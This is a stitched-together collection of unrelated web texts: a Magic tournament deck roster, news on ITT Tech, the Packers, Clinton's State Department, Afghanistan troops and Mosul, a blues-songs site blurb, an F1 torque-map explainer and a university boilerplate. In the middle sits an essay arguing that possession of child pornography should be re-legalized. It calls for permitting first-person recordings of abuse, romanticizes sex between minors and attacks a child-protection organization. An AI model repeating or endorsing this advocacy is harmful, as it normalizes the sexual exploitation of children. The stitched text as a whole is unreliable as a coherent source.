TurbOathTezz – 1
UB Confidant Control – 1
UB Revoker Control – 1
UR Keranos Control – 1
UW Stoneforge Flash Control – 1
Total: 92
Very Loosely Grouped by Archetype
Dredge – 3
Forces (4C Control, 4C Delver, Bomberman, BUG Control, BUG Tempo, Burning Pitch Long, Doomsday, Esper Tezzeret Control, Grixis Control, Grixis Tezzeret Control, Grixis Welder Control, Gush Storm, Landstill UR, Merfolk, Oath, Rector Omniscience, RUG Delver, Talrand Deathrite Gush, TurbOathTezz, UB Confidant Control, UB Revoker Control, UR Keranos Control, UW Stoneforge Flash Control) – 63
Non-Force Combo (Gitaxian Storm, Human Storm) – 4
Other (Blood Moon Workshop Aggro, Goblins, Imperial Magus RW Hate, Junk Hatebears, Survival) – 5
Workshops (Forgemaster Workshops, Metalworker Non-Forgemaster Workshops, Smokestack Workshops, Terranova Workshops) – 17
Total: 92
All 92 Decklists, Alphabetically by Last Name
(Note: Final Round 7 Standings from Swiss rounds)
BUG Tempo, by Patrick Albergo
Oath, by David Ata
4C Control, by Brett Attmore
UW Stoneforge Flash Control, by Vasu Balakrishnan
Survival Applejacks, by Adrian Becker
Merfolk, by Matthew Bevenour
Dredge, by Bryan Brady
Talrand Deathrite Gush, by Mike Brotzman
Doomsday, by Joshua Butker
Bomberman, by Adam Cannava
Insert Deck Name, by Player - 1st Place
Merfolk, by Travis Compton
Gitaxian Storm, by Nick Coss
Oath, by Tom Daliapes
Imperial Magus RW Hate, by Jesse DeMarco
Forgemaster Workshops, by Nick DiJohn
Oath, by Tom Dixon
Merfolk, by Brian Durkin
Rector Omniscience, by Michael Eckert
Oath, by Rob Edwards
Bomberman, by Andrew Farias
BUG Tempo, by Marco Farrugia
Oath, by Greg Fenton
Bomberman, by River Finken
Dredge, by John Fisher
Grixis Welder Control, by Ryan Fisher
Terranova Workshops, by Rafaelle Forino
Terranova Workshops, by Vincent Forino
Oath, by Fred Fronzaglio
Dredge, by David Gans
Forgemaster Workshops, by Jake Gans
Grixis Welder Control, by Casey Geist
Junk Hatebears, by Ryan Glackin
RUG Delver, by AJ Grasso
Oath, by Shawn Griffiths
Oath, by John Gruzdina
Grixis Control, by James Hangley
Forgemaster Workshops, by Chris Hanson
UB Revoker Control, by Visna Harris
Merfolk, by Trevor Hayden
Gitaxian Storm, by Michael Herbig
Metalworker Non-Forgemaster Workshops, by Jesse Iskral
BUG Control, by Nathaniel Jackson
TurbOathTezz, by Jason Jaco
BUG Tempo, by John Jones
Human Storm, by Brian Kelly
Bomberman, by Justin Kohler
Grixis Welder Control, by JP Kohler
Smokestack Workshops, by Ben Kowal
Oath, by Chris Laiacona
UB Confidant Control, by Michael Lapine
Merfolk, by Joel Lim
RUG Delver, by Michael Lynch
Terranova Workshops, by Will Magrann
Forgemaster Shops, by Mickey Mahr
Grixis Tezzeret Control, by Craig Masley
Goblins, by Daniel Mason
4C Control, by Paul Mastriano
4C Delver, by Jimmy McCarthy
Bomberman, by Josh Meckes
Merfolk, by Nick Membrez
RUG Delver, by Stephen Menendian
Smokestack Workshops, |
agency, the Commission for Independent Education. A day earlier, when ITT Tech had just been notified by the Education Department of the enrollment ban and other penalties, Brouwer told Florida officials, “that letter was completely unexpected and obviously we are consulting with counsel right now. Additionally, the ITT/ESI board is convening for an emergency meeting within the hour.”
— Florida was one of the places most affected by ITT Tech’s Sept. 6 closure, as the Sunshine State had some 7,400 students attending nearly a dozen ITT campuses. Much of the email back-and-forth focuses on attempts to identify schools where displaced ITT students could finish their programs. According to the emails, a member of the Florida oversight agency, Nancy Bradley, expressed an interest in enrolling ITT students at her own for-profit school, Daytona College. Florida’s oversight agency is dominated by for-profit industry executives, and has been criticized in the past for potential conflicts of interest. A Florida Department of Education spokeswoman said that only one former ITT student chose to enroll at Daytona College, and “a discussion with ITT by any school owner, even one that is a commissioner, does not constitute a conflict of interest.”
REPORT ROLL CALL
— New America is releasing a report calling on Indiana to invest more in its fledgling Pre-K program. Read it here.
— Many K-12 schools are failing to designate Title IX coordinators, a new report by the Feminist Majority Foundation found. Read it here.
SYLLABUS
— Nearly a third of Ohio's 65 charter-school sponsors given failing grades by Education Department: Columbus Dispatch.
— Kansas colleges moving ahead with campus carry plans: The Chronicle of Higher Education.
— Texas closely watching nine “high-risk” for-profit colleges: Houston Chronicle.
— LeBron James launches new “institute” at University of Akron: Cleveland Plain Dealer
— UVA dean speaks out on retracted “Rolling Stone” rape article: ABC News
— Massachusetts governor to push charters in New York City: The Boston Globe
Congrats, Bob. Follow the Pro Education team: @ caitlinzemma ( cemma@politico.com), @ khefling ( khefling@politico.com), @ mstratford ( mstratford@politico.com), @ mrmikevasquez ( mvasquez@politico.com) and @BenjaminEW ( bwermund@politico.com).GREEN BAY, Wis. -- For at least the past eight seasons, the Green Bay Packers have been one of the youngest teams in the NFL.
Based on opening-day rosters, the Packers were the sixth-youngest team in the NFL this season with an average age of 25.42 years. Before that they were fifth, second and fifth in the age rankings. And every year from 2006-09, they were the youngest team in the league.
A day after their season ended with Sunday's 23-20 loss to the San Francisco 49ers, it was worth wondering if the Packers need more veterans.
One such inhabitant of their locker room thinks so.
“A lot of guys thought they know how to prepare when they were in college and whatnot, but then they get into the league and you find out that it's a different level to preparation,” said 30-year-old cornerback Tramon Williams, who just completed his seventh NFL season. “That's what you're faced with with young guys. Even though we always say it's a young league, yeah, it's a young league but it's an old league, too, because the old guys make the league go. That's the guys who've been there before, who know how to prepare, who mold the young guys. That's what they're there for. I understand that.”
Cornerback Tramon Williams is of the mindset the Packers need more veterans on their roster. Al Bello/Getty Images
Williams' own future with the Packers could be in doubt. He's scheduled to make $7.5 million next season in salary and bonuses, and although he had his best season since 2010, his age and salary make him vulnerable in general manager Ted Thompson's youth-based system.
To be sure, Williams is worried about his own situation, but it's clear he thinks the constant roster turnover has impacted the defense, which struggled to a 25th overall ranking this season.
This season, he played in a secondary that was littered with youth and inexperience. Among the key players who played alongside him for most of the season were cornerbacks Sam Shields (age 26, fourth season), Davon House (24, third season) and Micah Hyde (23, rookie) plus safeties Morgan Burnett (age 24, fourth season), M.D. Jennings (25, third season) and Sean Richardson (23, second season). Of that group, only Burnett was in his second NFL contract.
“I had the privilege to play with [Charles] Woodson and [Nick] Collins and Al Harris,” Williams said. “I understand what chemistry in the secondary can do. That's what you try to find when you get a good group of guys. You want to get guys all on the same page. You want guys to see things like you see it if you're the leader of that group. When you can get guys to that point, it slows the game down for everyone in that back end. That's when you start seeing a lot of plays being made out there. Whether it's your play or not, you know where the ball's going and you go in and you make the play. That's what we're trying to get.
“We have a great group of young guys in this room but, like you said, they're young. They can play, very talented but still, they're young.”
The Packers have 17 players scheduled to be unrestricted free agents, meaning they all have at least four years of NFL experience. Depending on how many of them are re-signed, the Packers could get even younger next season.
“When you have a young team like this, that's what you're challenged with,” Williams said. “You're challenged with coming in and – with young guys, with talented young guys, they play but the game's still fast for them because they don't understand what teams are trying to do. They don't understand the scheme fully. They don't understand what the scheme can do for them once they understand it. That's what you're faced with.”
It may be a problem more so for the Packers' defense given that receiver James Jones – a 29-year-old seventh-year veteran who is one of the 17 free agents to be – didn't necessarily have the same view as Williams on the idea of veteran leadership.
“There's a lot of leaders in this locker room,” Jones said. “You can't just point out one or two leaders in the locker room just because they're older. A lot of the young guys lead in this room. I don't think that's going to play a part [in getting re-signed]. We've got a real good locker room here. Everybody loves each other, everybody works hard, fights for each other. I don't think that's going to be an issue. They're not going to be bring me back for some leadership.”Ask Americans today to evaluate Hillary Clinton’s time as secretary of State and you’re apt to get answers colored by their attitudes on whether she deserves the presidency. But a look at contemporaneous federal employee survey results and specialty groups’ assessments from 2009-2012 offers a glimpse of a Clinton tenure that began with great promise and then faded slightly, though the department consistently ranked highly compared with the rest of government on a range of leadership and management measures.
A Government Executive review of State Department responses to the Office of Personnel Management’s annual Federal Employee Viewpoint Survey shows that Clinton in her first two years managed to raise the rank-and-file appreciation for leadership in such areas as whether the agency was succeeding in its mission. Somewhat surprisingly, given national polls showing distrust of Clinton’s ethics among many voters, department employees under Clinton agreed that their leaders conducted themselves with honesty and integrity at higher rates than federal employees governmentwide. (The survey did not specifically ask about Clinton, but rather about leaders in general).
The State Department’s’s approval numbers dipped, however, in Clinton’s final year, particularly in such categories as job satisfaction and satisfaction with leadership’s policies and practices, perhaps a reflection of budget cuts and the still-controversial deaths of four Americans in 2012 in the U.S. compound in Benghazi, Libya.
As a prelude to reviewing Federal Employee Viewpoint surveys from Clinton’s time in office, Government Executive sought an analytical assessment by qualified State Department observers.
Clinton won highly positive commentary in the Foreign Affairs Council’s June 2011 task force report titled, “Managing Secretary Clinton’s State Department: An Independent Assessment.” Written by a committee summarizing the views of 11 foreign policy and diplomatic associations concerned about budget cuts, the assessment “documents dramatic progress on a variety of managerial fronts,” during Clinton’s first two years. “Secretary Clinton has energetically and appropriately pressed for the resources necessary to give the United States the civilian tools it needs for conducting foreign relations in the 21st century,” the diplomats wrote.
There was more effusion after the department under Clinton created a Quadrennial Diplomacy and Development Review. Among other recommendations, the review -- begun in 2009 and released at the end of 2010 -- stressed the need to give chiefs of mission at embassies “the tools they need to oversee the work of all U.S. government agencies working in their host country.” And it committed the U.S. Agency for International Development to becoming the government’s leading development agency.
The Foreign Affairs Council “believes this first QDDR and its reforms and recommendations together represent the most significant management initiatives in the operation of the Department of State and USAID in many decades,” the report said, adding that much would depend on Congress and future follow-through. “The secretary and her team will be required to demonstrate the strong leadership and stamina that has characterized Secretary Clinton’s leadership thus far. This leadership and her concern for the institution and its people have won their respect and buttressed their morale.”
Retired Ambassador Thomas Boyatt, who was lead writer on the Foreign Affairs Council assessment, told Government Executive: “The problem is every secretary has to do two things -- manage foreign policy and manage the institution. As manager of the institution, I’d say, [Clinton] was a failure. She didn’t manage it, which is not an unusual style for a secretary of State. She turned it over to her longtime retainers, and while she was flying around the world doing the foreign policy management, the people management was deteriorating.”
Clinton’s top deputies “were not there long enough to learn how things operate,” added Boyatt, who briefly served as president of the American Foreign Service Association 46 years ago. “The overall structure was that her personal aides, such as Cheryl Mills and Huma Abedin, had positions of authority in the State Department and could intervene in personnel and other matters on behalf of the secretary. That was not always in the national interest, but in the interest of the secretary of State.”
Clinton herself, in her 2014 memoir of State Department life titled “Hard Choices,” wrote, “When I became secretary, the career professionals at State and USAID had been facing shrinking budgets and growing demands, and they were eager for leadership that championed the important work they did. I wanted to be that leader. To do so, I would need a senior team that shared my values and was relentlessly focused on getting results.”
She went on to describe the promise she obtained from the White House to be able to select her team. On Mills, her counselor and chief of staff, Clinton said: “She helped me manage ‘the Building,’ which is what everyone at State calls the bureaucracy, and directly oversaw some of my key priorities, including food security, global health policy, LGBT rights and Haiti. She also acted as my principal liaison to the White House on sensitive matters, including personnel issues.”
Compared with other large departments, State under Clinton fared well in agency rankings in the Federal Employee Viewpoint survey. The survey’s methodology provides an inexact measure of a secretary, given that Clinton’s name is never mentioned in the survey questions. But FEVS did ask specific questions about department “leaders” and “senior leaders,” providing insight into employees’ views on Clinton and the team she assembled.
In 2011, the survey ranked the State Department third in job satisfaction among 37 large agencies, sixth in leadership and knowledge management and seventh in talent management.
Based on that assessment, the nonprofit Partnership for Public Service ranked State third among large agencies (behind NASA and the Intelligence Community) on its “Best Places to Work in the Federal Government” list, a slight drop since 2011.
State’s scores were above the large agency median in all the “Best Places” studies from 2009-2013, Mallory Barg Bulman, director of research and evaluation at the Partnership, told Government Executive. In the category of effective leadership, “once again the entire time she’s there, the score is higher than the large agency median,” Bulman said.
Employees responding to the survey distinguish senior leadership from their own supervisors, Bulman noted, and tend to rank their own supervisors higher. “But for the State Department during Clinton’s tenure, senior leaders were ranked in the top quarter and higher than the median.”
In the Federal Viewpoint survey’s specialized indices, State in 2012 ranked sixth among large agencies for leadership and knowledge management. Its approval in that area rose from a score of 62 out of 100 in 2006 to 64 in 2008 to 66 in 2010 to 67 in 2011, before ticking down to 66 in 2012.
In the survey’s talent management index, State in 2012 ranked ninth among 37 large agencies, and its score rose slightly from 65 in 2008 to 66 in 2010, before dipping to 65 in 2011 and to 63 in 2012.
On individual questions, Clinton’s employees were most enthusiastic on the question, “My agency is successful at accomplishing its mission.” Eighty-one percent of respondents either strongly agreed or agreed in 2010. That rose to 84.3 percent in 2011, dipping to 82.5 percent in 2012.
The same pattern of an initial rise shows up in the question, “I have a high level of respect for my organization’s senior leader.” Employees who strongly agreed or agreed rose from 64.9 percent in 2010 to 67.5 percent in 2011, before dropping again to 64.7 percent in 2012.
Perhaps the most important question in the survey’s measure of employee views of top State Department leadership under Clinton, given the recent debate over her decision to use a private email server for work and her overall trustworthiness as a presidential candidate, is: “My organization’s leaders maintain high standards of honesty and integrity.”
But respondents to the honesty question at the time she was in office gave her leadership team high marks. Those who strongly agreed or agreed leaders were honest rose from 67.2 percent in 2010, to 68.6 in 2011, dipping to 67.3 in 2012 and 63.3 percent in 2013, when Clinton left office.
Those percentages, too, were consistently higher than governmentwide numbers over the past decade, often by more than 10 points.
Amelia Gruber and Ross Gianfortune contributed to this article.
This story was amended to add context to Boyatt's position as president of AFSA in 1975. AFSA does not comment on political matters.U.S. to send more troops to Afghanistan
U.S. Defense Secretary Robert Gates pledges more troops to Afghanistan
U.S. has nearly 31,000 troops in Afghanistan
The U.S. military plans to move three more combat brigades to Afghanistan by summer, Defense Secretary Robert Gates said.
Gates landed Thursday in the Afghan city of Kandahar, where he was met by Gen. David McKiernan, the commander of U.S. and NATO forces battling a resurgent Taliban and its al Qaeda allies. Gates said the deployment will include one brigade that was scheduled to be sent to the 7-year-old conflict in January and two more that have yet to be named.
"I have not yet signed off on the specific units and I wouldn’t want to speculate off the top of my head," said Gates, who has been held over by the incoming Obama administration.
McKiernan has requested four additional brigades, including the one scheduled for January deployment, between 14,000 and 20,000 troops. But in September, Gates said the Pentagon would be unable to commit new troops before spring or summer of 2009, partly due to its larger commitment to the war in Iraq.
The U.S. military has about 31,000 troops in Afghanistan, which is less than a quarter of its total strength in Iraq. However, the security agreement signed by the Bush administration and ratified by the Iraqi government in early December requires American troops to begin withdrawing from Iraqi cities ahead of a complete withdrawal by the end of 2011.
Gates told reporters ahead of his landing in Kandahar that the ideal size of the U.S. military presence in Afghanistan is still being debated, and that Americans needed to be "more sensitive" toward Afghan concerns about international troops on their soil.
"My view would be, I would like to put a lot more stress on accelerating the growth of the Afghan army," he said. "The history of foreign military forces in Afghanistan, when they have been regarded by the Afghan people are there for their own interest and as occupiers has not been a happy one."Scroll down for a list of all available titles.
THE BLUES SONGS IN THIS SECTION are a mixture of traditional type songs commonly performed in the blues idiom. Although many of the songs mention artist names, this may not be accurate and these these songs should not be considered as definitive versions representative of any particular performance or artist. Also the keys and chord sequences chosen may also vary considerably between versions by different artists. Some of these songs are in the public domain or traditional categories, however this cannot be guaranteed, and should you wish to use them as a basis of a performance or for any non-personal study purpose you are advised to contact the copyright holders (where available, copyright info has been included with the song).These transcriptions are made by many different individuals from all over the world for their own research and instruction, and as such are liable to great variation in in interpretation and opinion. They are being shared on this site for educational purposes only, please see our copyright page for more info.
WHAT IS INCLUDED
About two thirds of these songs include Guitar Tablature and lyrics with chords marked. Although primarily intended for guitar these chords should also be suitable for use with other instruments such as Ukulele or Banjo, the remainder of the songs identified by the "lyrics" suffix to the title provide lyrics only. Many of these song pages include playing hints and methods for the songs.
IMPORTANT
Many of the song pages, particularly those including tablature, extend to several pages. To avoid large slow to load pages only the first page is displayed, in these cases you will need to DOWNLOAD the PDF file to all the song pages.
Should you need a print-out of the song, PDF versions (without banners or adverts) are available from the link at the bottom of most song pages.
For Blues books and sheet music you can buy check the Blues guitar collection and The Blues Fakebooks at Sheet music Plus
You may also be interested in other Jazz related Items on this site:
You may also be interested in other Chord Related Items on this siteAn insight into throttle mapping
The torque map is probably the single most important reference map used in Formula 1 engine management. It is the fingerprint of an engine and of critical importance for engine engineers to help optimise the on track engine performance.
“In its simplest form, the engine torque map is a theoretical model of the engine. It represents the torque output of the engine for a given engine throttle position and engine speed. In this respect it appears outwardly similar to a driver torque pedal map, the only change being the look-up against engine throttle position instead of the driver’s pedal. However, in reality, the differences are far more complex and wide reaching. From this map, you know for any given speed or throttle position that you should produce a certain amount of engine torque,” says Renault Sport F1 engine engineer David Lamb. “We then use that reference map to ensure the engine is behaving as it should out on the circuit. We measure the actual engine torque with an on-car sensor, and when you overlay this with the value predicted by the torque map, you shouldn’t notice any large differences. If you have a hesitation or a drivability issue, you will see it clearly because the measured torque will not match the reference torque."
The torque map doesn’t change much over the course of a weekend, or between races. “Under the new technical directive, issued between the German and Hungarian Grands Prix, you can’t really change the maps that much over a weekend or between races. It’s like a fingerprint of the engine. There will be subtle differences between the teams due their respective air boxes and exhausts, which will slightly change the form of the map. Prior to this directive, we would change the torque map freely to suit the climatic conditions. For example, the engines will produce nearly 10% less torque at Sao Paulo than they will this weekend in Korea due to Sao Paulo’s high altitude. By changing the torque map to the prevailing conditions the engine response will feel the same to the driver across the season. Nowadays we have to request this torque map change from the FIA, and fully justify our reasoning.”
As well as ensuring the engine behaves as it should, the map is also used to improve the driveability of the car for the driver. “When the driver lifts off the pedal the engine can be either fired in four cylinders or fully cut, depending on the level of overrun support he requires,” explains David. “When the driver goes back on the pedal from full ignition cut, you need to inject more fuel than usual to ‘wet’ the engine. Inject too little or too much and you will have a torque deficit from target, which can cause a hesitation and a loss of lap time. The initial torque demand will generally be met with only four cylinders, as you’d rather save a bit of fuel and have four cylinders firing strongly using a more open throttle than have eight coming into life rather weakly with a relatively closed throttle.
"When the torque demand exceeds that which can be met with just four cylinders, the remaining cylinders need to be fired. These will also require ‘wetting’. At this point you also have to close the throttles at a rate which coincides with the final four coming back into life – this is the tricky bit! Get it right and the driver should feel nothing across the transition, just a change in engine pitch. In all cases, the torque map is used in conjunction with other settings to govern both the fuelling requirements and throttle position."
The engine torque map is used for a multitude of other processes, such as the pit limiter, rev limiter and downshift control. “The engine torque map is without doubt one of the most important calibrations in the SECU. It really is the reference point. When the driver lifts of the pedal, it’s the engine torque map that decides by how much we close the throttles. When he goes back on power, it’s the engine torque map that stipulates to what point they open. It all works off that map.”Child pornography is a toxic subject, but a very important one that cannot and should not be ignored. This is an attempt to bring the topic to a serious discussion, and explain why possession of child pornography need to be re-legalized in the next ten years, and why you need to fight for it to happen.
ABSTRACT
This article argues that our current laws on the topic are counterproductive, because they protect child molesters instead of bringing them to justice, they criminalize a generation of normally-behaving teenagers which diverts valuable police resources from the criminals we should be going after, and they lead to censorship and electronic book burning as well as unacceptable collateral damage to innocent families. Child abuse as such is not condoned by anybody, and this article argues that current laws are counterproductive in preventing and prosecuting it.
When possession of this type of information was criminalized, those who opposed that criminalization (which I didn’t, at the time – this was before my activism) pointed at four major objections:
It would not be effective, and possibly counterproductive, in catching child molesters.
It would lead to censorship without accountability.
Reporters complained it would undermine journalistic freedom that has stood intact for centuries.
Constitutional and political science scholars pointed out that it undermined centuries of free speech/expression traditions in a way that would be used by special interests to silence opponents of business interests unrelated to child porn.
In retrospect, all of this has come true. This is bad enough in itself; it is downright catastrophic. There are three overarching reasons why possession of child pornography must be re-legalized: the ban prevents catching child molesters, especially in light of new technology; it creates a generation of branded sex offenders that did nothing wrong; and it is the battleground for free speech itself. Let’s take these one at a time.
1. The ban prevents catching/jailing child molesters.
This is bad enough as it is today, but it is going to get significantly worse with new technology that is just around the corner. Are you aware of Google Glass? It is a prototype new mobile phone in the shape of eyeglasses.
Essentially, we’re looking at how our mobile phones are turning into devices that look like ordinary glasses, and which let us share what we see in real time, in the present tense. It’s a quantum leap over Facebook’s photo sharing, seeing how photos are always in retrospect, changing into real-time vision sharing and storage. It’s a change as large as when CNN’s reporting of the First Gulf War was being reported in the present tense, for the first time ever: “The night skies over Baghdad are lit up by tracer fire…”.
This change is going to be significantly larger than when we went from semi-smartphones with buttons to iPhones and Android devices with touchscreens, as our communications devices become wearable and blend seamlessly with our senses.
So imagine a scenario ten years down the road, as you’re taking a stroll in the park. Your glasses (“mobile phone”) are on, as are mostly everybody else’s. You’re broadcasting and recording what you see in public, as is mostly everybody else, in case a friend drops in on your feed and starts chatting about it, or in case you observe something where you need to back up your story later, if you’re so inclined – kind of why people use dashcams in cars and constantly record everything that happens.
So, on your lovely stroll in the park, you turn a corner, and to your shock, see a 12-year-old being brutally raped right in front of you.
WHAM. You are now a criminal, guilty of recording, distributing, and possessing child pornography. You are now guilty of a crime that carries higher penalties than the rape and molestation of a child right taking place right in front of you.
The rapist notices you and laughs, knowing that you can’t do anything. If you were to call the police and offer to be a witness to the rape taking place before you, you would lose your job, children, and house over the worse crime you have just committed. As you struggle in panic to delete any and all imagery that could be used to convict the child rapist, hoping that nobody was able to make a copy, you see another person coming into view of the rapist and reacting just like you did.
And on the ground, a 12-year old who is being raped watches helplessly as witnesses turn away and delete all evidence of the crime being committed against her.
This is not some far-fetched science fiction scenario. This is exactly what will happen as our mobile phones take the next step, which has already started, and we will be there in less than ten years. (The very first iPhone was released to sales about five years ago, for perspective – imagine what will happen in twice more the time since then.)
[UPDATE: Some people have complained that no court would ever convict in this scenario, since you also recorded your unintentional approach. But possession of child pornography is a strict liability offense, like possession of cocaine, at least in the entire United States, as well as several other countries. Intent, mens rea, is irrelevant: if you have it and know you have it, no matter why, you’re guilty.]
This brings us to the crucial question why we have the ban on child pornography in the first place.
Is possession of child pornography harshly banned because we want to catch child rapists and molesters, or because we’re so uncomfortable with its existence that we want to legislate it out of our own field of view, raped children be damned as long as we’re feeling comfortable ourselves?
I would argue that the ban on possessing child pornography is already preventing the capture of child molesters, and it will get many, many times worse so in the coming decade. I also have a very strong feeling that the ban is in place because we’d like to pretend that things like this don’t happen, and legislate it out of our field of view, throwing actual victims of crime to the wolves in the process. That’s not worthy.
[UPDATE 2: Since the publication of this article, several people have pointed out that this is a far-fetched example today. But do note that this section of the article isn’t primarily discussing today’s technology, but the tech around the corner and the changes it will bring. Furthermore, a lot of people have contacted me with examples of how this is already true anyway – where people reporting child pornography and child abuse to the police have been accused of possessing and distributing it, and even lost their children over just trying to report child abuse. People in general learn very quickly to turn a blind eye to these crimes when news of events like this spread, just as described, because of the current laws. One example is here, another in the followup article here. As I argued, the overreach of the current laws protects the criminals who abuse children and are therefore counterproductive.]
The question also begs asking – why is it only documentation of sex crimes against minors that are being banned in this way? The lawmen are perfectly fine with a video documenting how a teenager is being stabbed with a screwdriver in both eyes, then murdered (warning: the link is very real, but contains a transcript before you get to the actual video, which you probably don’t want to watch). It’s not the documentation of victimization that we prohibit, nor is it molestation as such – why is the ban just related to anything sexual, and not to the bodily harm itself, which is what it sounds like from the proponents of the ban?
Moving on to a solution, this scenario and problem doesn’t necessarily mean that every part of our child porn laws must or should be torn up. The necessary legislative change would primarily mean that you would always, as in always, be allowed to record and distribute what you see with your own eyes. A journalistic protection law that supersedes all other laws, if you like. The slightest risk of a gray area here, and people will delete all evidence of witnessed crimes against children rather than risking their own jobs and families – there must be no doubt or uncertainty whatsoever, not a shadow of it. As a side-effect consequence, deliberate recording and distribution of child porn from a first-person perspective would also be legalized with this change – but that brings us back to the question why the ban is there in the first place: is it to catch child molesters, or is it there for our own sake, to make us feel good regardless of whether it helps molested children?
2. The laws brand a whole generation as sex offenders.
Our current laws treat the video of a seven-year-old being brutally raped, on one hand, and two seventeen-year-olds who have eyes for nothing in the world but each other making consensual passionate love, on the other hand, as the exact same thing. This is mind-bogglingly odd.
The former is one of the most horrifying things you can think of – trying to picture it makes you cringe in your chair. The latter is one of the most beautiful things you can possibly picture – trying to see it makes your eyes well up with tears from joy. Why are one of the most horrible things and one of the most beautiful things in the world considered one and the same by the law? They’re obviously nowhere similar and have nothing whatsoever to do with each other. I’ll return to the answer to that.
But first, let me say that I started watching porn at age ten, as did most of my friends, and I enjoyed it. I actively sought it out and kept seeking it out (as I still do). Since I didn’t have access to the net at my age ten, I imagine people would start seeking it out earlier today, basically as soon as they get past the “boys/girls are icky” phase.
This is natural.
Let’s see what else is natural for the generation growing up today:
Exploring and understanding their bodies as they go through puberty and afterwards, just like every single generation of Homo Sapiens has done before them.
Communicating like crazy. Communicating everything. All the time. In text, voice, images, and video.
Documenting everything. Including themselves naked. Including sex. It’s a memory like any other, and they’re not limited to 24 photos per roll like I was in my teens.
Technically, most people growing up today lose their virginity through rape. I say “technically”: they lose their virginity through rape because legislators have redefined “rape” to include consensual, voluntary, loving sex between people of typical age of sexual debut. Such a legislative redefinition makes as much sense as redefining the act of murder to include friendly hugs, then complaining that murder rates are up. It also creates a lot of technical rapists and sex offenders who never harmed a single person, but did go against the morals of legislators. (This is not strictly information policy, but is relevant to the context up ahead.)
We observe here that today’s laws have as a horrible and completely unacceptable side effect of branding the entire growing-up generation as sex offenders, ruining their lives if caught with it, under the pretext of protecting small pre-pubescent children. This side effect includes the completely normal communication that teenagers have with each other, which would brand them as child pornographers (of themselves).
This type of dissonance between the pretext and the actual effect of the law can be seen in many lobbying efforts. I call it murder-and-jaywalking argumentation. Here’s an example:
“98% of all children have witnessed a murder or jaywalking firsthand by age seven. Witnessing a murder or jaywalking firsthand can be devastating to a child’s psyche, according to experts. Therefore, we need tougher laws against murder and jaywalking.”
Note how the “or” transforms into “and” at the end, implying that the two should be covered by the same piece of legislation. This conflation is deliberate, and is an attempt to piggyback a petty crime or harmless activity onto something vehemently detested.
In order to understand murder-and-jaywalking legislation, we turn to an ancient Latin phrase: Cui bono? (“Who benefits?”) More often than not, this gives the answer for the underlying reason for legislation.
Let’s take an example. If somebody starts talking about “rape and shoplifting”, and you discover that a chain of grocery stores is behind the wording, two things become obvious: a) they are trying to raise the penalties for shoplifting, possibly to include being branded as a sex offender for shoplifting, and b) they don’t care in the slightest that using rape as a pretext for this special interest dilutes the concept of rape and disrespects rape victims immensely.
The copyright industry has long done a similar stunt, talking about “counterfeiting and piracy”, trying to assert that teenagers who share music between them should be covered by the same legislation as people who manufacture fake and fatal medicine for profit. Pretty much all enforcement treaties of the copyright monopoly are created under the pretext of preventing counterfeiting. Take ACTA, for example (“Anti-Counterfeiting Trade Agreement”). That’s another tangible example.
This is where we start tracing where the idea of banning child porn comes from. Cui bono?
It turns out that the pressure for banning possession of child pornography comes from a whole fruit salad of Christian fundamentalists, under the pretext of protecting children. In the United States, this is pretty much every nutjob in the entire Midwest. In Sweden, this role is primarily dominated by the front organization ECPAT, which pretends to care about abused children, but which has its roots in the fundamentalist Christian organization ECTWT (where the E stands for Ecumenical), and where these Christians keep being in majority at every general ECPAT assembly. Every time these fundamentalists have mentioned child abuse as a pretext to demand new laws, we end up with new criminalization of teenagers instead.
This is where we connect the dots of cui bono with the murder-and-jaywalking deception method, and hairs rise on our arms and chills go down our spine as we connect the dots mentally:
Making insecure teenagers feel guilt, fear, and shame over their own bodies and natural desires, causing them to suppress their instincts in fear, even criminalizing natural behavior and destroying their lives, was never a side effect. It was the whole idea.
In Sweden, ECPAT has pushed through laws that make you a jailable criminal for possessing images of yourself from before your 18th birthday. Can we have a show of hands to see how many think this makes any kind of sense? That this would catch any child molesters?
So does the fact that this law exists – criminalizing people who have photos of themselves, pushed through by Christian fundamentalist organization ECPAT – rhyme better with a concern to catch molesters, or better with the hair-rising conclusion above: an effort to scare teenagers into submission with fear of their own bodies?
Using child molestation as a pretext for shoving your fundamentalist religious morals down the throats of insecure teenagers is about as low as you can sink in my eyes. These people stand lower than earthworms in terms of human value to me.
The fix for this particular problem is to tell the fundamentalist Christians in ECPAT and similar organizations to fuck right off with their perverted high-horse dogmatic morals, throwing them out of the legislative process headfirst, and limit the child pornography laws to cover pre-pubescent children only. Murder and jaywalking should not be covered by the same legislation, because they are not the same thing. Rape of a seven-year old and two seventeen-year-olds making love should not be covered by the same legislation, because they are not the same thing. In case a hard age limit is needed, I would suggest separating children from teenagers at that exact age – children are children until they become teenagers. Many enough have their sexual debut at 13 today |
of Engineers http://bit.ly/2cFtz77
President Obama Announces Winner of New Smart Manufacturing Innovation Institute and New Manufacturing Hub Competitions http://bit.ly/28N7V0v
Boosting American Competitiveness in Advanced Manufacturing: Creating Future Leaders http://bit.ly/1OjizdA
Rensselaer alumni magazine: Fall 2014 -The President’s View: “Manufacturing Leadership”
http://www.nxtbook.com/nxtbooks/rpi/2014fall/index.php#/6
Rensselaer alumni magazine story: “Mastering Manufacturing in the MILL”
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Rensselaer Polytechnic Institute, founded in 1824, is America’s first technological research university. The university offers bachelor’s, master’s, and doctoral degrees in engineering; the sciences; information technology and web sciences; architecture; management; and the arts, humanities, and social sciences. Rensselaer faculty advance research in a wide range of fields, with an emphasis on biotechnology, nanotechnology, computational science and engineering, data science, and the media arts and technology. The Institute has an established record of success in the transfer of technology from the laboratory to the marketplace, fulfilling its founding mission of applying science “to the common purposes of life.” For more information, please visit http://www.rpi.edu.Click to email this to a friend (Opens in new window)
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Lives of 100,000 Iraqi children ‘on the line’ as fighting continues in west Mosul
UNICEF-backed projects for millions of children in Syria on verge of being ‘cut off’
Protection of civilians in Raqqa, other parts of Syria must be ensured: UN chief
UN urges Turkey to release activists, says rights defenders must not be silenced
A US-trained Iraqi army unit allegedly executed dozens of men in the final phase of the battle against ISIS fighters in Mosul’s Old City, Human Rights Watch has claimed.
The rights group on Thursday urged the US government to suspend all support for the 16th Division of the Iraqi army pending an investigation into what it called war crimes, evidence of which was seen by two international observers whom the group did not name.
The claims could not be independently verified as Iraqi authorities have restricted media access to the Old City since July 10, following Prime Minister Haider al-Abadi’s victory declaration over the Islamic State (ISIS) radical group.
ISIS made its last stand in the Old City after nine months of urban warfare with US-backed Iraqi forces. Fighting continued there for several days after victory was declared in mid-July, and videos emerged of Iraqi forces beating unarmed men. Footage showed one man being pushed off a cliff to his death.
